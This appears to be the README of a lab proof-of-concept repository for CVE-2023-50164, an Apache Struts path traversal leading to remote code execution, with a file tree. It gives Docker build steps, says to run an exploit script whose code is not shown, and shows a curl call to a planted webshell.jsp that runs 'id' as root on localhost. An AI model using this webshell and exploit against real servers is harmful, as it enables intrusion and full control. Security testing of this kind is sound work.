CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept# CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept
This PoC has been made to test an RCE (Remote Code Execution) by exploiting the Apache Struts2 vulnerability.

Build the image and run a container:
```console
$ DOCKER_BUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc
```
Run the exploit:
```
$ cd exploit
$ ./exploit.sh
```
Now you can executy arbitrary commands on server side as showed:
```
$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a
uid=0(root) gid=0(root) groups=0(root)
```
## Credits
- Thanks to @jakabakos for an example of vulnerable application (https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE)
- Thanks to Zscaler ThreatLabz (https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-50164-apache-struts-path-traversal-and-file) for the diagram here above
[4.0K] /data/pocs/a7b254a32dc67fffcd1600ccff2891524fcae2d9
├── [ 347] Dockerfile
├── [4.0K] exploit
│ ├── [ 132] exploit.sh
│ └── [ 527] webshell.jsp
├── [4.0K] img
│ └── [422K] 1.png
├── [4.7K] pom.xml
├── [ 930] README.md
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] it
│ └── [4.0K] sunnyvale
│ └── [4.0K] struts2rcepoc
│ └── [1.8K] Upload.java
├── [4.0K] resources
│ └── [ 874] struts.xml
└── [4.0K] webapp
├── [ 189] index.html
└── [4.0K] WEB-INF
├── [ 578] error.jsp
├── [ 599] success.jsp
├── [ 569] upload.jsp
└── [ 779] web.xml
11 directories, 13 files